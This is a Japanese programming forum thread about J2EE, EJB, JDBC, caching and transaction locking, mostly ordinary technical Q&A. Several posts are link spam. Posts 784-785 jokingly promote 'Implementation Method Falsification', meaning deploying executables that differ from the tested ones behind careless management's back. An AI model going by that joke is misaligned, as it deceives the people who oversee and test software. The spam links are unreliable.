JDBCだって、DBとJDBCドライバに依存しますが。
0715デフォルトの名無しさんNGNG
>>710
XML-APIだってXerces/Xalanつかうか(以下略
0716デフォルトの名無しさんNGNG
>>714
依存部分もよく理解すればjavaのインターフェース内で処理できる場合が多い。
0717デフォルトの名無しさんNGNG
つうか、J2EE準拠のAPサーバでベンダ独自仕様なんて、滅多に使わないでしょ。

無いとは言わないが。
0718デフォルトの名無しさんNGNG
今のプロジェクトではXarcex,Xalan,Xml4J、いろんなXMLapiがごちゃ混ぜです。
0719デフォルトの名無しさんNGNG
>>714
依存してねーだろ。もしかしてSQLのこと言ってんの?プ
0720デフォルトの名無しさんNGNG
>>719
第3者だけど。依存している部分はあるよ。
BLOBデータのあつかいとか。
0721デフォルトの名無しさんNGNG
>>720
あ、そうでした。いきがってスンマソン
0722デフォルトの名無しさんNGNG
>>719
オイオイ,夜中に付き合ってみたら、要するにど素人かよ…

JDBCの各インターフェイスに対して、機能が全て実装されているとは限らんよ。
ドライバの実装依存。幾つかの機能は、そもそもDBが持ってないから実装されない
こともある。即ちDB依存。
0723デフォルトの名無しさんNGNG
ん、コネクションまわりで少々クセがあったような。
うろ覚え。
0724デフォルトの名無しさんNGNG
やれやれ。
0725デフォルトの名無しさんNGNG
最近EJBと言う名前は良く聞くのですが、これを利用して
何ができるようになるんでしょうか?
皆さんがEJBを使って目指すものって何ですか?
0726デフォルトの名無しさんNGNG
>>725
EJBをサポートするアプリケーションサーバを使えば、
分散オブジェクトで作るシステムを(マッサラから自作するよりは)
簡単に作れる。

分散オブジェクト自体がイロイロ面倒なので、ボタン一つでポイ
というほど簡単ではないですが。
0727デフォルトの名無しさんNGNG
EJB学ぶ前提ってことで、とりあえずRMIをやろうと思ってよ。
お決まりのHelloWorldをリモートメソッド呼び出しによりやってみたが、
うまく動作しない。サンプルコードを動かすだけでこの手順は複雑すぎ。
これだけ時間かけてHelloWorldはないだろ。。。
で、いくつか思ったことがあったんだけど、スタブとスケルトンって沢山できない?
サンプルレベルなら1組でいいだろうけど。
0728727NGNG
スレ違いだけどeclipseでrmicを動かす方法あるの?
外部ツールとかに割り当てて試してはみたけど、これまたうまく動作しないどころか
まったく反応なし。
0729デフォルトの名無しさんNGNG
>>727
全ての通信手順を一つのやり方に出来るので、規模が小さい時は不便なだけだ
けど、規模が大きくなってくると便利だよ。
でもって、EJBはRMIスタブとスケルトンの存在もラップして、もうちょっと抽
象度の高いレベルにしてくれているので、もっと便利。というだけの話。
0730デフォルトの名無しさんNGNG
>>728
Antにしたら?タスクあるから。
0731デフォルトの名無しさんNGNG
素朴な疑問だけどRMIって同一マシンで複数VMじゃテストできないの?
//127.0.0.1:1099/ほげほげ
片方のVMにレジストしたらいいのかな。試してみよ。
0732デフォルトの名無しさんNGNG
>>729
インターフェースなので当たり前ですが、
一度作成したスタブ・スケルトンはリモートメソッドの追加等がない限り、再コンパイルの必要なし。
ってのはちょっと感動した。なにせ初学者なもので・・・。
0733デフォルトの名無しさんNGNG
>>731
?エクスポートしてレジストリにバインドすれば、VMまたいでコールできるの
がRMIでっしゃろ?

レジストリへのバインドも、レジストリサーバに対する登録依頼のプロセス間
通信。レジストリサーバが、そのURLのドメイン部分で持ってこれる場所にアレバ
イイだけっス。
0734デフォルトの名無しさんNGNG
EJBを使用するとアベイラビリティ、スケーラビリティがあがるといわれてますが、
なぜでしょうか?

私の認識ではEJBの持つ下記の性質のためだと思っていますが、
間違っていたらご指摘してください。
アベイラビリティ → 位置透過性(クラスタ対応+CMT)
スケーラビリティ → 位置透過性(リモート呼び出し)

EJBを本当に使う必要があるのか迷っています。

またエンティティBeanは実際の業務APで皆さん使われてますか?
私の意見としては更新系にしかエンティティBeanは使えないと思っています。

使っている方はテーブルとエンティティBeanをどのようにマッピングしているのでしょうか?
CMP+CMRを使ってテーブル:エンティティBean=1:1で対応させているのでしょうか?

業務APでEJBを開発した方の意見をお願いします!

0735デフォルトの名無しさんNGNG
Javaを使ったバッチ処理って皆さんJ2EE使われていますか?

通常のClassでJDBCでがちがち書いた方が良さそうな気がしますが、
どうなのでしょう?
JSP、Servlet、セッションBeanはまず使わないだろうし。
エンティティBean、MessageDrivenBeanは使われていたりするのでしょうか?
一括更新だからメモリを食って効率も割るそうですなぁ・・・
0736デフォルトの名無しさんNGNG
>>735
漏れのところはJDBCでがちがち書いてる。
バッチでJ2EE使ったら許容時間超えそうで怖い。
といいますか、バッチのような単純処理にJ2EEを使うメリットありますか?
0737735NGNG
>>736
回答どうもです!
私としてはバッチでJ2EEを使うメリットを下記のように考えましたが、

エンティティBean
→ 1.トランザクション自動制御
  2.エンティティBeanのオンラインとの共有化

やはりエンティティBeanでは性能を考えると辛いような気がします。
0738デフォルトの名無しさんNGNG
なぜバッチ?
もう少し具体的な説明頼む(何をするか
0739735NGNG
>>738
なぜバッチかというと現状Cで作成したバッチ処理を
Java(J2EE)で実装した場合どのようになるかを検討しています。

バッチ処理の内容としてはDBの一括更新+CSVファイルの作成です。
説明不足で申し訳ありません。
0740デフォルトの名無しさんNGNG
夜間バッチと言ったら、やってることはどこも大差ないと思われる。
最初は、JNIコールでやって、徐々にJavaに移行したら?
0741デフォルトの名無しさんNGNG
>>737
>トランザクション自動制御
整合性で同期とるのはダメなの?
0742デフォルトの名無しさんNGNG
AppletからEJBを呼ぶときって皆さんどうされてますか?
おそらく2つの手法があると思っています。
どちらのパターンが推奨されるのでしょうか?
メリットは私の推測ですが間違っていたらご指摘してください。

1.APPLET→Servlet→EJB
   メリット:ファイヤウォールを越えられる

2.APPLET→EJB
   メリット:速度が速い、コーディング量が減る。
0743デフォルトの名無しさんNGNG
>>742
EJBをもう少し理解された方がよろしいかと思います。
0744742NGNG
>>743
どこか間違っていますでしょうか?
0745デフォルトの名無しさんNGNG
>>742
間違いなく1でしょう。
セキュリティから考えてみてもIIOPなどのポートをインターネットに公開すべきではありません。

>2.APPLET→EJB
>   メリット:速度が速い、コーディング量が減る。

コーディング量は減りますが速度が速くなるとは限りません。
サーブレットと通信するモデルは結果だけやり取りすれば良いので通信量を減らすことが出来ますが、
直接EJBを扱う場合は、IIOPなどのオーバヘッド、スタブのシリアライズ、デシリアライズやセキュリティの確認のための通信が
発生するため、かなりの通信量が発生します。
EJBの分散機能はノードがかなり近くにある状況で利用するのが、よりと思います。
0746デフォルトの名無しさんNGNG
>>734
どなたか734に対して意見をいただけませんか?
0747デフォルトの名無しさんNGNG
J2EEで大規模開発をやろうと思っています。
通常はフレームワークを使わないと品質がまばらになってかなり辛いと思うのですが、
実際はどうなんでしょうか?

あと、フレームワークはいろいろ調べてみたところcFrameworkが良さそうですが、
実際どうなんでしょう?
実際のプロジェクトで使われている方の意見が聞きたいです。

cFrameworkで非同期や会話型のAPは作れますか?
0748デフォルトの名無しさんNGNG
>>747
非同期も会話型も無理だろう。
0749デフォルトの名無しさんNGNG
>>748
ということはオンライン同期処理しかできないということですか?
0750デフォルトの名無しさんNGNG
J2EEを使って、1万件のデータを検索してその結果を表示する場合、
100件ずつくらい分けてHTMLに出力するというのが一般のやり方だと思っていますが、
その実装方式って皆さんどうされてますか?(どこでそのデータを保持していますか?
)
StatefulSessionBeanを使われてますか?
HttpSessionで処理されてますか?

個人的には「StatelessSessionBean」+「HttpSesion」の方が
メモリが消費されずに済むので良いと思っています。
0751デフォルトの名無しさんNGNG
お前のケツ毛にPL/SQL
0752ふぁそNGNG
>>747
cFramework使うぐらいならStruts使っとけ。
傾き書けている会社の使ってもろくなことにならない。
今ならStruts使えるエンジニアのほうが集まるだろうし
使えるようになりたいエンジニアもcFrameworkよりは多いと思われ。
0753デフォルトの名無しさんNGNG
>>750
「StatelessSessionBean」+「HttpSesion」良いと思います。
ただし、大量の検索結果を一時保管する際には、プライマリキーの配列
だけを保存しておく必要があるかもしれません。
0754デフォルトの名無しさんNGNG
cFramework使った事あるよ。
どこが特別優れているのかはわからんが、
使いやすかった覚えはある。
0755デフォルトの名無しさんNGNG
age
0756デフォルトの名無しさんNGNG
>>750
普通にカーソル使ったら?
0757デフォルトの名無しさんNGNG
簡単にやろうとすると、こんなんもありかな?
requestで処理して、アプリケーションでは保持しない。

SELECT * FROM (検索SELECT文) WHERE ROWNUM<=最終行
MINUS SELECT * FROM (検索SELECT文) WHERE ROWNUM<開始行
0758デフォルトの名無しさんNGNG
>EJBを本当に使う必要があるのか迷っています。

セキュリティや分散などの機能を利用しないのであればあまり必要はないかもしれません。
ただ、開発が容易なSLSBで強固なトランザクション制御を簡単に利用できるなど、逆に「使わない理由」というのも見当たりません。
EntityBeanはこれからの仕様ですから無理に利用しなくても良いと思います。なにせやっとORDER BYできるようになったぐらいですから。
ただし本格的なオブジェクト指向をやる場合は透過的なオブジェクトの永続化層が必要ですから、
これを自作するよりは、JDOやEntityBeanなどのミドルウェアを導入するのが開発工数の節約になるでしょう。
また標準の機能であるので、自作した永続化層より保守が容易であることも導入の理由となるかもしれません。

>私の意見としては更新系にしかエンティティBeanは使えないと思っています。

そんなことはありません。
現在のほとんどのアプリケーションサーバーは読み出し結果をキャッシュする機構を備えているので、
読み出し時のパフォーマンスはかなり改善されています。
ただし、照会結果が大量の場合はJDBCを直接利用するアプローチを取るのが一般的です。
照会結果が少量の場合はEntityBeanでEJB QLを利用するのがいいと思います。
これらを使い分けることにより開発工数を減らすことが出来ます。

オブジェクト指向で開発するならEntityBeanが一番手っ取り早いです。
手持ちのアプリケーションサーバーに機能がついていますから。
ただし、普通のwebアプリケーションの開発であればStrutsとSLSBとDAOパターンなどで(なんとなく)出来てしまうので、
よくわからないものに手を出して、プロジェクトを失敗させたくない人はEntityBeanは使わないほうが良いでしょう。
0759デフォルトの名無しさんNGNG
>>750
1万件は多いね・・・。一時的にHttpSessionに置くにしても多すぎる。検索->切断を繰り返すと容易にシステムダウンできる。
一番パフォーマンスが良いのは、カーソルをキャッシュしておいて表示する度フェッチする方法だけど、
これも危険、コネクションプールを使い尽くす可能性がある。。

私がやっていたのはシステム内にオブジェクト管理クラスを用意してそこで照会、オブジェクトの作成、キャッシュをさせるという方法。
最初の検索は時間がかかるけどそれ以降はキャッシュヒット率が上がってくると10倍くらいのパフォーマンスの向上があった。
キャッシュするオブジェクト数も管理できるのでメモリも食いつぶす必要がない。

特定の照会系に絞ってキャッシュ機構を構築するのが一番いいと思う。
0760デフォルトの名無しさんNGNG
EJBを使用するとアベイラビリティ、スケーラビリティがあがるといわれてますが、
なぜでしょうか?

私の認識ではEJBの持つ下記の性質のためだと思っていますが、
間違っていたらご指摘してください。
アベイラビリティ → 位置透過性(クラスタ対応+CMT)
スケーラビリティ → 位置透過性(リモート呼び出し)
0761デフォルトの名無しさんNGNG
>>759
キャッシュするのは解るけど、
数万件のデータを保持するオブジェクトって大丈夫なの?
都度、DBアクセスする方が安全のような気がするんだけど。
0762デフォルトの名無しさんNGNG
>>761
それは難しいところ。
1万件の照会を毎回やり直せる体力がDBにあるなら、それでいいと思うよ。
ないのであれば、キャッシュするしかない。
0763デフォルトの名無しさんNGNG
>>762
50万件から数万件引っ張ってくることを想定すると、
PreperedStatementキャッシュ、テーブルインデックスを用いたとしても
一定人数以上から同時アクセスされると容易に死ねるような気がする。
とすると、キャッシュ容量は十分に考慮しなければならない。

それ以前に、1万件画面に引っ張ってくる状況って殆どないように思える。
0764デフォルトの名無しさんNGNG
キャッシュしてるのは、変更が少ないマスター系のデータ?
そういうデータをシングルトンで保持しておくのは良くある方法かと思ってた。
0765デフォルトの名無しさんNGNG
>>764
マスター系はキャッシュの恩恵得られやすいだろうね。
しかし、「住所マスター」これってデカくねーか?
0766デフォルトの名無しさんNGNG
>>763
@ITにPreperedStatementキャッシュについての記事があったね。なかなか使えそう。
0767デフォルトの名無しさんNGNG
1回の検索で1万件ってそんなに多いかな?
行もさほど大きくなく、条件も単純でソートエリア大量消費しなければ、
DBにとってはさほど酷な仕事じゃないと思う。
システムによりけりだが。
0768デフォルトの名無しさんNGNG
>>767
> 行もさほど大きくなく、条件も単純でソートエリア大量消費しなければ、
自分で条件特定してるじゃん。それで酷ではないって言うのはどうかと。
1万件ってそんなに多くないが、いろんな側面を考慮すると酷な場合もあり得る。
システムによりけりで、一概に言えないと思われる。
0769デフォルトの名無しさんNGNG
異なるEJBメソッドの呼び出しから、同一テーブルの同一カラムの値を更新する場合。
どうやって排他制御されるんでしょうか。

Webからほぼ同時に異なるリクエストが到着して、
異なるセッションビーンのメソッドから、
同一のエンティティビーンABCBeanのsetterメソッドを呼び出すとします。

このときって、どういう風に更新されるの?
どっちかが失敗するの?



0770デフォルトの名無しさんNGNG
普通に後勝ち。
それがシステム上マズイならアプリで排他制御を実装すべし。
0771デフォルトの名無しさんNGNG
>>769
コンテナが良きに計らってくれるんじゃないの?
0772デフォルトの名無しさんNGNG
>>769
分離レベルによる。
0773デフォルトの名無しさんNGNG
EJBだけでストアドプロシージャ使えますか?  
0774デフォルトの名無しさんNGNG
>>773
JDBCを使わないとだめ。
0775デフォルトの名無しさんNGNG
HttpSession session =request.getSession(true);
session.setAttribute("ID","XXXXX");

sessionにbean以外の登録って出来ますか?
0776デフォルトの名無しさんNGNG
a
0777デフォルトの名無しさんNGNG
>>775ネタ?
お前のbeanがObject以外から派生してるなら無理
0778デフォルトの名無しさんNGNG
JBOSSはSUNからJ2EE準拠の認定取れたんでしょうか?
J2EE準拠テストを提供されたとかいうニュースが3ヶ月ぐらい前にあったが。
0779__NGNG
  ∋8ノノハ.∩
   川o・-・)ノ <先生!こんなのがありました!
http://www.yoshiwara.susukino.com/moe/hankaku03.html
http://yoshiwara.susukino.com/moe/hankaku10.html
http://www.yoshiwara.susukino.com/moe/hankaku08.html
http://yoshiwara.susukino.com/moe/hankaku09.html
http://www.yoshiwara.susukino.com/moe/hankaku06.html
http://yoshiwara.susukino.com/moe/hankaku05.html
http://www.yoshiwara.susukino.com/moe/hankaku01.html
http://yoshiwara.susukino.com/moe/hankaku02.html
http://www.yoshiwara.susukino.com/moe/hankaku08.html
http://yoshiwara.susukino.com/moe/hankaku04.html
0780デフォルトの名無しさんNGNG
>>778
まだ。それに多分取れない。
0781デフォルトの名無しさんNGNG
JDKのj2eeより軽いって、jbossってどういう仕組みなんだろうなぁ。
0782デフォルトの名無しさんNGNG
>>781
単にj2eeがパフォーマンス重視で作ってないだけだろ。
0783デフォルトの名無しさんNGNG
サーバーとクライアントでデータをやりとりするアプレットの業務アプリ
を作ってるんですが、サーブレットも使わずわざわざソケットをつかって
サーバーサービスをつくり、これでクライアントとデータをやりとりして
ます。単純なデータのやりとり、単純なセッション管理しかできないしろ
ものなんですが、このようなやり方ってお薦めできる技法でしょうか?
0784デフォルトの名無しさんNGNG
>>783
IMF技法をお勧めする。
IMFとは、Implementation Method Falsificationの略で直訳すると
「実現方法改ざん」である。初心者にはお勧めできないが。

0785デフォルトの名無しさんNGNG
私はこの技法を幾度も用いたことがある。
IMFが威力を余すことなく発揮させるには、いくつかの要素がある。
要素のなかで、習得が容易なものを以下に記述する。

1.シチュエーション
2.杜撰な上層部
3.テストフェーズの実行ファイルと、運用フェーズの実行ファイルの物理的相違
0786デフォルトの名無しさんNGNG
>>784
ワロタ
0787デフォルトの名無しさんNGNG
EJBでレコードのロックはできるんですか?
0788デフォルトの名無しさんNGNG
リモートのDBサーバのデータキャッシュの方法で、Sessionその他のオンメモリ
のコレクションに強参照で丸ごと放り込んでおくっていう発想しかないのは、
何でですか?

ローカルのディスクにテンポラリ作って保存して、弱参照でオンメモリにキャ
ッシュとか、そういう方法ってとらないの?別に工数がすごくかかるような難
しいことじゃないよね?何かまずい問題があるのでしょうか?
0789U ◆CZtFsGiu0c NGNG
>>787
Session BeanかBMP Entity Beanでselect for updateとか投げればできるのでは?
0790デフォルトの名無しさんNGNG
>>789
CMPだとロック掛けられないんですか?
データに矛盾とか起こらないのだろうか。
0791U ◆CZtFsGiu0c NGNG
>790
CMPでもWrite Lockはもちろんかかる。
てっきり明示的にロックをかける話かと思ったのだがそうじゃないのね。
0792デフォルトの名無しさんNGNG
たとえば入力→確認→完了ってフローを考える。
入力画面ではRDB上の何らかのデータを参照しているとする。
ここでは例として「頻繁に切り替わる現在価格」を参照しているとします。

Webアプリとして画面遷移させるとき、
入力と完了の間に他のトランザクションが発生することが予想されますよね。

でも、ユーザーは「入力画面で見た情報」をもとに意思決定をしているわけだから、
「入力」の完了以降、「完了」の開始前の間に現在価格が切り替わるとマズイ。

これってEJB仕様の範囲で回避可能?
それとも、入力画面出力時点のバージョンIDやらタイムスタンプを保持して、完了画面まで持ちまわる?
スマートな解決法はどんななんでしょう。
0793デフォルトの名無しさんNGNG
>>792
「ノンリピータブルリード」の問題ですね。
おそらくEJB仕様では記述されていないと思います。

APサーバやDBMSの独自仕様の設定で
トランザクションの隔離レベルを「REPEATABLE READ」以上にすれば
回避できると思われます。

もしくはEJBパターンの「Version Number」パターンを使ってプログラムで
対処するかでしょう。
(「Vesion Number」パターン
 → バージョンIDやらタイムスタンプを保持して、完了画面まで持ちまわる手法をパターン化したもの)
0794_NGNG
  ∧_∧   
 ( ・∀・)/< こんなのみつけたっち♪ 
ttp://www.yamazaki.90.kg/hankaku/hankaku04.html
ttp://yamazaki.90.kg/hankaku/hankaku10.html
ttp://www.yamazaki.90.kg/hankaku/hankaku09.html
ttp://yamazaki.90.kg/hankaku/hankaku08.html
ttp://www.yamazaki.90.kg/hankaku/hankaku06.html
ttp://yamazaki.90.kg/hankaku/hankaku05.html
ttp://www.yamazaki.90.kg/hankaku/hankaku01.html
ttp://yamazaki.90.kg/hankaku/hankaku02.html
ttp://www.yamazaki.90.kg/hankaku/hankaku07.html
ttp://yamazaki.90.kg/hankaku/hankaku04.html
0795動画直リンNGNG
http://homepage.mac.com/hitomi18/
0796デフォルトの名無しさんNGNG
>>792 >>793
EJBから見たトランザクションは、入力、確認、完了、それぞれの画面ごとなので、
トランザクション分離レベルを設定しても対処不可でしょう。

> それとも、入力画面出力時点のバージョンIDやらタイムスタンプを保持して、完了画面まで持ちまわる?
この方法しかないのでは。
0797デフォルトの名無しさんNGNG
Tomcat単体をインストール後にJ2EEをインストールしたんですが
J2EEのポート番号はどうやって変えるんでしょう?
また、Tomcat(またはTomcatと連携されたApache)とJ2EEとを同時に起動すると
何か問題ありますか?

MySQLをインストールしているのですが、
TomcatからMySQLにアクセスすると同時にJ2EEからMySQLにアクセスすることは
できますか? また、これには何か問題がありますか?

EJBにはストアドプロシージャや
JDBCのPreparedStatementのようなDBアクセス高速化機能はありますか?

と、いった解説が載っているJ2EE関係のサイトまたは書籍があったら、まるで教えて訓ですが教えてください。
0798デフォルトの名無しさんNGNG
J2EEにTomcatが内蔵されているってことはTomcat無しでstrutsやTurbineも使える?
0799デフォルトの名無しさんNGNG
>>797
> また、Tomcat(またはTomcatと連携されたApache)とJ2EEとを同時に起動すると
何か問題ありますか?
同時起動する必然性が全くない。
やるなら内部通信ポート含めて全部ポート番号ずらせばできないことはない。
> J2EEのポート番号はどうやって変えるんでしょう?
J2EEとは仕様のことだが?J2EE RIまたはJ2EE SDKのことだろ?
J2EEのサーブレットコンテナはTomcatだよ。server.xmlをいじってみれ。

>>798
もちろん使える。
0800デフォルトの名無しさんNGNG
>>797
もしかして、J2EEってj2ee(EJBサーバ)の事を言っているとか?
0801デフォルトの名無しさんNGNG
>>784
すごい技術だな。ってほんとにあるのかその手法????
0802デフォルトの名無しさんNGNG
DBのテーブルを検索して、
「もしテーブルに同じデータが存在しなければ、新しいレコードを挿入する」
って処理をする時ってテーブルのロックが必要だと思うんですが
EJBではどうやるんですか?
0803デフォルトの名無しさんNGNG
>>802
ロックの必要性を全く感じないが?
insert実行->同じデータが無ければ挿入成功、同じデータがあれば一意制約違反。
0804デフォルトの名無しさんNGNG
>>803
そういうぶっつけのSQL実行はお行儀が悪い。
0805デフォルトの名無しさんNGNG
行儀とパフォーマンスを天秤に書けるならこの場合パフォーマンスかな。
まぁ DB2 なんかは INSERT の時点でテーブルロック並みのロックがかかるけど。
0806802NGNG
うーむやっぱEJBじゃ無理なの?

例えば列車などの座席予約システムみたいなので
座席の空きをコンピューターで確認してから
お客様に「座席の空きが有りますヨ」と伝えても
次の瞬間に別なユーザから座席を横取りされたら困るよね。

こんな時にもロックが使いたいと思うんだけど、EJBではやっぱ無理?
0807デフォルトの名無しさんNGNG
>>806
フラグ持たせりゃいいじゃん。別にどうってことない。
0808デフォルトの名無しさんNGNG
>>806
その場合、空席全部をロックしたら余計に困る。
0809802NGNG
>>807
DBのロックを使ってるレガシーシステムと共存する場合は
それだと困ると思うけど
0810デフォルトの名無しさんNGNG
>>809
別に。考えすぎだよ。EJBでできるかどうかが問題になってるのだろうけど、
プログラムにできないことは、ほぼ無いに等しい。
あとは客と話し合って、どこまで保証するかどうかの問題。
0811802NGNG
>>810
うーむ。そうですか。
0812デフォルトの名無しさんNGNG
>>811
とりあえず、ソース汚くなろうとも逃げ実装だけは用意しておくことをお勧めする。
余裕があるならベストな方法考えたらいい。
0813bloomNGNG
http://homepage.mac.com/ayaya16/
0814デフォルトの名無しさんNGNG
>803
キー項目を自動生成する場合(Oracleのシーケンスオブジェクトとか)どうすんのよ
0815デフォルトの名無しさんNGNG
>806
何故EJBで無理で他なら出来ると思ったのか
0816デフォルトの名無しさんNGNG
EJBなんてMVCのModelなだけだ。
0817デフォルトの名無しさんNGNG
>816 …傍に誰も居ない夜にひとり、2chで独り言か。せめて俺が1レスつけといてやるよ。今日はもう休め…
0818デフォルトの名無しさんNGNG
>>814
INSERT と同時にプライマリキーが自動生成される設計で「あれば更新、
無ければ追加」なんて状況が有りうるのか?
0819デフォルトの名無しさんNGNG
>>817
彼女が風呂上がるのを待ってるのですが何か?
0820デフォルトの名無しさんNGNG
>>814
馬鹿ですか・・・
0821デフォルトの名無しさんNGNG
>>814
俺は大抵の話には付いていける技術ボキャブラリがあると自負していたが、
おまえの話しだけには付いていけない。
0822デフォルトの名無しさんNGNG
>>819-821
ワラタ
0823デフォルトの名無しさんNGNG
EJBで何かいいサンプルプロジェクト無いですかね。
Pet Store以外で。
0824デフォルトの名無しさんNGNG
>>823
WebSphereのやつ見てみたら?
0825デフォルトの名無しさんNGNG
>>814
EJBの前にDBを理解した方が良いですよ。
0826デフォルトの名無しさんNGNG
    今    し!     _  -── ‐-   、  , -─-、 -‐─_ノ 
    の    // ̄> ´  ̄    ̄  `ヽ  Y  ,  ´     )  E え
    流    L_ /                /        ヽ   J  |
  J 行    / '                '           i  B マ
  D な    /                 /           く  !? ジ
  B 許    l           ,ィ/!    /    /l/!,l     /厶,
  C さ   i   ,.lrH‐|'|     /‐!-Lハ_  l    /-!'|/l   /`'メ、_iヽ
  だ れ   l  | |_|_|_|/|    / /__!__ |/!トi   i/-- 、 レ!/   / ,-- レ、⌒Y⌒ヽ
  け る   _ゝ|/'/⌒ヽ ヽト、|/ '/ ̄`ヾ 、ヽト、N'/⌒ヾ      ,イ ̄`ヾ,ノ!
  よ の  「  l ′ 「1       /てヽ′| | |  「L!     ' i'ひ}   リ
  ね は   ヽ  | ヽ__U,      、ヽ シノ ノ! ! |ヽ_、ソ,      ヾシ _ノ _ノ
-┐|   ,√   !            ̄   リ l   !  ̄        ̄   7/
  レ'⌒ヽ/ !    |   〈       _人__人ノ_  i  く            //!
人_,、ノL_,iノ!  /! ヽ   r─‐- 、   「      L_ヽ   r─‐- 、   u  ノ/
      /  / lト、 \ ヽ, -‐┤  ノ  キ    了\  ヽ, -‐┤     //
ハ キ  {  /   ヽ,ト、ヽ/!`hノ  )  モ    |/! 「ヽ, `ー /)   _ ‐'
ハ ャ   ヽ/   r-、‐' // / |-‐ く    |     > / / `'//-‐、    /
ハ ハ    > /\\// / /ヽ_  !   イ    (  / / //  / `ァ-‐ '
ハ ハ   / /!   ヽ    レ'/ ノ        >  ' ∠  -‐  ̄ノヽ   /
       {  i l    !    /  フ       /     -‐ / ̄/〉 〈 \ /!
0827814NGNG
>820,821,825 どれか
すまん、本当にわからんかったから教えてくれぃ

INSERT INTO EMP ( EMP_ID, NAME ) VALUES ( EMPSEQ.NEXTVAL, 'NAME');

ってやった時、どうやって一意制約違反になるの?(emp_idがPK)
たのんます
0828デフォルトの名無しさんNGNG
>>827
DBの制約のタイミングの設定次第。
遅延可能(DEFERRED)に設定しておけば、トランザクション終了時に整合性チェックを行う。
即時(IMMEDIATE)なら各文の実行終了後、制約を検査する。
0829デフォルトの名無しさんNGNG
EJBを使用するとアベイラビリティ、スケーラビリティがあがるといわれてますが、
なぜでしょうか?

私の認識ではEJBの持つ下記の性質のためだと思っていますが、
間違っていたらご指摘してください。
アベイラビリティ → 位置透過性(クラスタ対応+CMT)
スケーラビリティ → 位置透過性(リモート呼び出し)

EJBを本当に使う必要があるのか迷っています。
0830デフォルトの名無しさんNGNG
CMP EntityBeanを実際の業務APで皆さん使われてますか?

使っている方はテーブルとCMP EntityBeanをどのようにマッピングしているのでしょうか?
CMP+CMRを使ってテーブル:エンティティBean=1:1で対応させているのでしょうか?

業務APでEJBを開発した方の意見をお願いします!
0831デフォルトの名無しさんNGNG
>>830
> 業務APでEJBを開発した方の意見をお願いします!
EJBで業務AP開発した方、3万円の布施で貴重な意見をお願い致します。

だ。
0832デフォルトの名無しさんNGNG
>>830
某社のフレームワークまで使って開発したが、EntityBeanは使わなかった。
それでも、テーブルと1:1のクラスは作ったけどね。
0833827NGNG
>828
ああそっか、遅延なんてもんがあるのか。有難う。

>829
”必要がある”ケースってのは極めて稀。
それに、
>アベイラビリティ、スケーラビリティがあがる
とか言ってるのはEJBに力入れてるベンダのセールストークが大半で、
実際にアベイラブルなコンポーネントってのはそうそう無いと思う。

>832
多分、同じ職場に居たなw
>某社のフレームワークまで使って開発した
>テーブルと1:1のクラスは作った
あの案件の顛末が知りたい…
0834デフォルトの名無しさんNGNG
アレだな。EJBって一言聞くと、とんでもなくデカイ仕様+難しい+複雑
のように思えるけど、MVCアーキテクチャのModelとして根本から考えて
いくとスッキリするね。まずMVCで作ってみて、それからbeanをEJBにしよう。
0835デフォルトの名無しさんNGNG
>まずMVCで作ってみて、それからbeanをEJBにしよう。
良くこういうこと言うヤシいるよね。
実際2回も作るかっていう話だな。
0836デフォルトの名無しさんNGNG
>>835
学習の段階としてだよ。実務で2回も作るかって。
0837デフォルトの名無しさんNGNG
>>834
CORBAをちゃんと理解していれば、EJBの理解は何の苦労も無い。
0838デフォルトの名無しさんNGNG
DDの<resource-ref>と<resource-env-ref>の違いが分からないです。
例えば、とある本のサンプルでは

<resource-ref>
<resource-ref-name>jms/QueueConnectionFactory</res-ref-name>
<res-type>javax.jms.QueueConnectionFactory</res-type>
<res-auth>Container</res-auth>
</resource-ref>
<resource-env-ref>
<resource-env-ref-name>jms/Queue</res-ref-name>
<res-env-ref-type>javax.jms.Queue</res-type>
</resource-env-ref>

となってるんですが、何故javax.jms.Queueは<resource-ref>ではなく
<resource-env-ref>で指定してるんでしょう??
0839デフォルトの名無しさんNGNG
>>837
CORBAじゃねーだろ。
0840デフォルトの名無しさんNGNG
どなたか>>829に意見をくださいまし。
0841デフォルトの名無しさんNGNG
>>838
<resource-ref>は「リソースファクトリ」を定義するためのタグです。
<resource-env-ref>は「リソース環境参照」を定義するためのタグです。
今のところ、<resource-env-ref>はJMSのQUEUEとかTOPIC専門のはず。
0842838NGNG
>>841
>今のところ、<resource-env-ref>はJMSのQUEUEとかTOPIC専門のはず。

なるほど。そう覚えときます。ありが�d。
0843デフォルトの名無しさんNGNG
>>839
「CORBAじゃねーだろ」だってさ。プププ。
0844デフォルトの名無しさんNGNG
classを圧縮するとき、ユーティリティクラスはjarで
それにhtmlやjsp, Seervletが含まれるときはwarで
それらにさらにEJBが含まれるときはこのwarもまとめてearにするものですか?
0845デフォルトの名無しさんNGNG
warファイルに入っているServletから、
他のearに含まれているEJBって呼ぶことができますか?

ってゆーか皆さん、
大規模開発等ではearファイル等をどのように分割されていますか?
ユースケース単位ですか?
earファイルを分ける不具合ってありますか?
0846デフォルトの名無しさんNGNG
ear えぁぁ?
0847デフォルトの名無しさんNGNG
>> 845
> warファイルに入っているServletから、
> 他のearに含まれているEJBって呼ぶことができますか?

できるにきまっている。なんのための分散オブジェクトだ?

> 大規模開発等ではearファイル等をどのように分割されていますか?
> ユースケース単位ですか?
> earファイルを分ける不具合ってありますか?

ユースケース単位でわける?そんな細かくしてなんの意味がある。
(テキストを1行ずつファイルにわけるようなものだ。)

アプリケーション単位だろ。普通。
0848デフォルトの名無しさんNGNG
>>847
回答どうもです。

何度も質問して申し訳ありませんが、
2つのearファイル(ear1、ear2)として、
ear1内のサーブレットからear2のEJBを呼ぶ事できるのですか?

またwarファイルとejb-jarファイルを分けるとして
それぞれのアーカイブにて必要なクラス(ValueObject、Utilクラス)は
両方に入れる必要があるのですか?
0849デフォルトの名無しさんNGNG
>848

自分で調べろ

> 2つのearファイル(ear1、ear2)として、
> ear1内のサーブレットからear2のEJBを呼ぶ事できるのですか?

だから、できるっていってるだろ。
JNDIを詳しく勉強してみろ。

> またwarファイルとejb-jarファイルを分けるとして
> それぞれのアーカイブにて必要なクラス(ValueObject、Utilクラス)は
> 両方に入れる必要があるのですか?

ないよ。warのMANIFEST.MFのClasspath:にejb-jar書いておけ。
0850デフォルトの名無しさんNGNG
>>846
ear->いあー
war->うぉー
0851デフォルトの名無しさんNGNG
>>845
ユースケース単位で分けるつったら、下手したらメソッドごとになっちまうぞ。
0852デフォルトの名無しさんNGNG
>>850
まじでつか?
0853デフォルトの名無しさんNGNG
下記2つのサンプルコードはどこかにないでつか?
あったら教えていただけませんか?

1.AppletからServletへアクセスする
2.数100件のデータをセッションに格納して、
  10件ずつ位でJSPで表示する。

お願いします。
0854デフォルトの名無しさんNGNG
